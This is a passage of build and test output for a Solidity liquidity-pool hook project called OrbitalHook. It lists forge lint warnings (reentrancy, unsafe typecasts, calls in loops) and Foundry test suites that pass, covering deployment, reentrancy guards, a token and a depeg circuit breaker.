│\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[reentrancy-no-eth]: external call can be reentered before `_entered` is updated\n    ╭▸ src/OrbitalHook.sol:483:13\n    │\n483 │             poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: lp, amounts: amounts})));\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/OrbitalHook.sol:484:13\n    │\n484 │             emit FeesCollected(lp, levelId, amounts);\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:483:13\n    │\n483 │             poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: lp, amounts: amounts})));\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:513:17\n    │\n513 │                 poolManager.sync(c);\n    │                 ━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n     ╭▸ src/OrbitalHook.sol:1043:39\n     │\n1043 │         (bool ok, bytes memory ret) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, amount)); // transferFrom\n     │                                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n     │\n     ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:515:17\n    │\n515 │                 poolManager.settle();\n    │                 ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:516:17\n    │\n516 │                 poolManager.mint(address(this), c.toId(), amount);\n    │                 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:522:21\n    │\n522 │                 try poolManager.take(c, data.account, amount) {\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:523:21\n    │\n523 │                     poolManager.burn(address(this), c.toId(), amount);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:526:21\n    │\n526 │                     poolManager.transfer(data.account, c.toId(), amount);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/OrbitalHook.sol:527:21\n    │\n527 │                     emit ClaimsDelivered(data.account, _tokens[k], amount);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n     ╭▸ src/OrbitalHook.sol:1044:93\n     │\n1044 │         if (!ok || (ret.length != 0 && !abi.decode(ret, (bool))) || token.code.length == 0) revert TransferFailed();\n     │                                                                                             ━━━━━━━━━━━━━━━━━━━━━━━━\n     │\n     ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:525:55\n    │\n525 │                     if (data.action == Action.Redeem) revert TransferFailed();\n    │                                                       ━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:515:17\n    │\n515 │                 poolManager.settle();\n    │                 ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:526:21\n    │\n526 │                     poolManager.transfer(data.account, c.toId(), amount);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/OrbitalHook.sol:563:26\n    │\n563 │     function setGuardian(address _guardian) external onlyOwner {\n    │                          ━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:684:17\n    │\n684 │         return (uint8(a - 1), uint8(b - 1));\n    │                 ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:684:31\n    │\n684 │         return (uint8(a - 1), uint8(b - 1));\n    │                               ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:731:24\n    │\n731 │         return found ? int256(lv[top].kNorm) : type(int256).max;\n    │                        ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:768:60\n    │\n768 │             boundary = _position(lv, boundaryMask, s, c) > int256(lv[l].kNorm);\n    │                                                            ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:801:24\n    │\n801 │         int256 along = int256(kNorm * radius / sqrtN); // k·r/√N per coin\n    │                        ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:802:21\n    │\n802 │         int256 sr = int256(sNorm * radius / WAD);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:805:43\n    │\n805 │             if (w != 0) val += _floorDiv((int256(_x[k]) - int256(s / n)) * sr, int256(w));\n    │                                           ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:805:59\n    │\n805 │             if (w != 0) val += _floorDiv((int256(_x[k]) - int256(s / n)) * sr, int256(w));\n    │                                                           ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:805:80\n    │\n805 │             if (w != 0) val += _floorDiv((int256(_x[k]) - int256(s / n)) * sr, int256(w));\n    │                                                                                ━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:806:30\n    │\n806 │             v[k] = val > 0 ? uint256(val) : 0;\n    │                              ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[uninitialized-local]: local variable is read before being initialized\n    ╭▸ src/OrbitalHook.sol:827:17\n    │\n827 │                 uu += uint256(u[k] * u[k]);\n    │                 ━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/uninitialized-local\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:822:29\n    │\n822 │             int256 xBound = int256(c.kb * WAD / sqrtN);\n    │                             ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:823:46\n    │\n823 │             if (w != 0) xBound += _floorDiv((int256(_x[k]) - int256(s / n)) * int256(c.sb), int256(w));\n    │                                              ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:823:62\n    │\n823 │             if (w != 0) xBound += _floorDiv((int256(_x[k]) - int256(s / n)) * int256(c.sb), int256(w));\n    │                                                              ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:823:79\n    │\n823 │             if (w != 0) xBound += _floorDiv((int256(_x[k]) - int256(s / n)) * int256(c.sb), int256(w));\n    │                                                                               ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:823:93\n    │\n823 │             if (w != 0) xBound += _floorDiv((int256(_x[k]) - int256(s / n)) * int256(c.sb), int256(w));\n    │                                                                                             ━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:824:20\n    │\n824 │             u[k] = int256(_x[k]) - xBound;\n    │                    ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:826:25\n    │\n826 │                 u[k] -= int256(c.r);\n    │                         ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:827:23\n    │\n827 │                 uu += uint256(u[k] * u[k]);\n    │                       ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:833:35\n    │\n833 │                 v[k] = u[k] > 0 ? uint256(u[k]) * radius / c.r : 0;\n    │                                   ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:840:26\n    │\n840 │             int256 val = int256(radius) + _floorDiv(u[k] * int256(radius), int256(uNorm));\n    │                          ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:840:60\n    │\n840 │             int256 val = int256(radius) + _floorDiv(u[k] * int256(radius), int256(uNorm));\n    │                                                            ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:840:76\n    │\n840 │             int256 val = int256(radius) + _floorDiv(u[k] * int256(radius), int256(uNorm));\n    │                                                                            ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:841:30\n    │\n841 │             v[k] = val > 0 ? uint256(val) : 0;\n    │                              ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:900:23\n    │\n900 │         if (c.r == 0) revert NoInteriorLiquidity();\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:971:29\n    │\n971 │             if (d1 > realJ) revert OrbitalMath.InsufficientLiquidity();\n    │                             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:174:68\n    │\n174 │         if (maxOut == 0 || _f(p, dIn, maxOut, n, sqrtNWad, c) < 0) revert InsufficientLiquidity();\n    │                                                                    ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:947:38\n    │\n947 │             if (t.remaining > realJ) revert OrbitalMath.InsufficientLiquidity();\n    │                                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:192:26\n    │\n192 │         if (dOut > p.xj) revert InsufficientLiquidity();\n    │                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n     ╭▸ src/OrbitalHook.sol:1022:23\n     │\n1022 │         if (w < c.sb) revert BoundaryInverted();\n     │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━\n     │\n     ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n     ╭▸ src/OrbitalHook.sol:1025:50\n     │\n1025 │         if (int256(x[i]) - xBound > int256(c.r)) revert SwapTooLarge();\n     │                                                  ━━━━━━━━━━━━━━━━━━━━━━\n     │\n     ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:966:22\n    │\n966 │         int256 gap = int256(t.lv[l].kNorm) - OrbitalMath.alphaIntNorm(p.s, sqrtN, c); // plane − position\n    │                      ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:986:17\n    │\n986 │             if (int256(lv[l].kNorm) <= aAfter) return (true, l); // ascending in kNorm\n    │                 ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[divide-before-multiply]: division before multiplication may lose precision\n     ╭▸ src/OrbitalHook.sol:1001:32\n     │\n1001 │         uint256 qT = wT * wT + sT * sT / n;\n     │                                ━━━━━━━\n     │\n     ╰ help: https://getfoundry.sh/forge/linting/divide-before-multiply\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1023:25\n     │\n1023 │         int256 xBound = int256(c.kb * WAD / sqrtN);\n     │                         ━━━━━━━━━━━━━━━━━━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1024:31\n     │\n1024 │         if (w != 0) xBound += int256(c.sb) * (int256(x[i]) - int256(s / n)) / int256(w);\n     │                               ━━━━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1024:47\n     │\n1024 │         if (w != 0) xBound += int256(c.sb) * (int256(x[i]) - int256(s / n)) / int256(w);\n     │                                               ━━━━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1024:62\n     │\n1024 │         if (w != 0) xBound += int256(c.sb) * (int256(x[i]) - int256(s / n)) / int256(w);\n     │                                                              ━━━━━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1024:79\n     │\n1024 │         if (w != 0) xBound += int256(c.sb) * (int256(x[i]) - int256(s / n)) / int256(w);\n     │                                                                               ━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1025:13\n     │\n1025 │         if (int256(x[i]) - xBound > int256(c.r)) revert SwapTooLarge();\n     │             ━━━━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1025:37\n     │\n1025 │         if (int256(x[i]) - xBound > int256(c.r)) revert SwapTooLarge();\n     │                                     ━━━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\n","passed":true},{"durationMs":6196,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 2 tests for test/Deploy.t.sol:DeployTest\n[PASS] test_deployWiresEverything() (gas: 28115013)\n[PASS] test_mineSaltFindsMatchingAddress() (gas: 17849212)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 18.82ms (32.29ms CPU time)\n\nRan 2 tests for test/OrbitalLiquidity.t.sol:OrbitalReentrancyTest\n[PASS] test_hookActionsAreNonReentrant() (gas: 2340699)\n[PASS] test_swapInsideFeePayoutIsRefusedAndStateIsConsistent() (gas: 2885548)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 19.67ms (8.88ms CPU time)\n\nRan 3 tests for test/Deploy.t.sol:DeployBroadcastTest\n[PASS] test_deployUnderBroadcast() (gas: 12474670)\n[PASS] test_deployWiresEverything() (gas: 28115335)\n[PASS] test_mineSaltFindsMatchingAddress() (gas: 17849273)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 20.40ms (32.54ms CPU time)\n\nRan 2 tests for test/OrbitalLiquidity.t.sol:OrbitalFrozenCoinTest\n[PASS] test_redeemClaimsFailurePaths() (gas: 1108557)\n[PASS] test_withdrawAndFeesDeliverHealthyCoinsWhenOneIsFrozen() (gas: 2367600)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 21.04ms (3.83ms CPU time)\n\nRan 3 tests for test/OrbitalLiquidity.t.sol:OrbitalDustPoolTest\n[PASS] test_dustPoolDoesNotSkimLaterDepositors() (gas: 1739500)\n[PASS] test_fullExitClearsReservesSoTheNextPoolStartsClean() (gas: 1824529)\n[PASS] test_withdrawalLeavesAtLeastMinRadiusOrNothing() (gas: 768432)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 36.50ms (7.12ms CPU time)\n\nRan 1 test for test/OrbitalTicks.t.sol:OrbitalDeadlockRecoveryTest\n[PASS] test_interiorReopensOnThePinnedPlane() (gas: 7142174)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 42.01ms (9.20ms CPU time)\n\nRan 5 tests for test/OrbitalToken.t.sol:OrbitalTokenTest\n[PASS] test_fixedSupplyMintedToDeployer() (gas: 42018)\n[PASS] test_noMintOrAdminSurface() (gas: 52384)\n[PASS] test_transferFailures() (gas: 58450)\n[PASS] test_transferFromRespectsAllowance() (gas: 149978)\n[PASS] test_transferMovesExactly() (gas: 74832)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 43.63ms (815.83µs CPU time)\n\nRan 1 test for test/invariant/OrbitalTokenInvariant.t.sol:OrbitalTokenInvariantTest\n[PASS]\nOrbitalTokenInvariantTest invariants:\n[PASS] invariant_balancesSumToSupply\n[PASS] invariant_supplyIsFixed\n OrbitalTokenInvariantTest invariants (runs: 64, calls: 2560, reverts: 0)\n\n╭---------------------+------------------------+-------+---------+----------╮\n| Contract            | Selector               | Calls | Reverts | Discards |\n+===========================================================================+\n| OrbitalTokenHandler | approveAndTransferFrom | 1277  | 0       | 0        |\n|---------------------+------------------------+-------+---------+----------|\n| OrbitalTokenHandler | transfer               | 1283  | 0       | 0        |\n╰---------------------+------------------------+-------+---------+----------╯\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 221.98ms (219.78ms CPU time)\n\nRan 21 tests for test/Reactive.t.sol:ReactiveBreakerTest\n[PASS] test_bandMath() (gas: 29961)\n[PASS] test_callbackAdminAndPayment() (gas: 190182)\n[PASS] test_callbackConstructionAndHookBinding() (gas: 8239)\n[PASS] test_callbackFailsWhenNotGuardian() (gas: 179190)\n[PASS] test_callbackIgnoresOlderRounds() (gas: 335758)\n[PASS] test_callbackRefusesNonProxy() (gas: 42624)\n[PASS] test_callbackRefusesWrongRvmId() (gas: 188452)\n[PASS] test_callbackSkipsWhenAlreadyPaused() (gas: 185664)\n[PASS] test_depegPausesThePoolEndToEnd() (gas: 383226)\n[PASS] test_inBandPriceDoesNothing() (gas: 87434)\n[PASS] test_latchRequestsOneCallbackPerExcursion() (gas: 347991)\n[PASS] test_nonPositivePriceTrips() (gas: 169228)\n[PASS] test_ownerResumeIsNotUndoneByTheSameExcursion() (gas: 238185)\n[PASS] test_priceAboveBandAlsoTrips() (gas: 153018)\n[PASS] test_reactRefusesUnexpectedLog() (gas: 68799)\n[PASS] test_reactRunsOnlyInTheReactVm() (gas: 364860)\n[PASS] test_reactVmCopyFollowsTheRotatedAggregator() (gas: 222499)\n[PASS] test_reactiveConfigValidation() (gas: 6387)\n[PASS] test_reactiveNetworkCopyManagesSubscriptionsAndFeedRotation() (gas: 1052386)\n[PASS] test_reactivePaymentHooks() (gas: 117826)\n[PASS] test_reactiveSubscribeManagementIsNetworkOnly() (gas: 87041)\nSuite result: ok. 21 passed; 0 failed; 0 skipped; finished in 241.87ms (2.77ms CPU time)\n\nRan 10 tests for test/OrbitalMath.t.sol:OrbitalMathTest\n[PASS] testFuzz_solveInInvertsSolveOut(uint256) (runs: 256, μ: 610816, ~: 625404)\n[PASS] 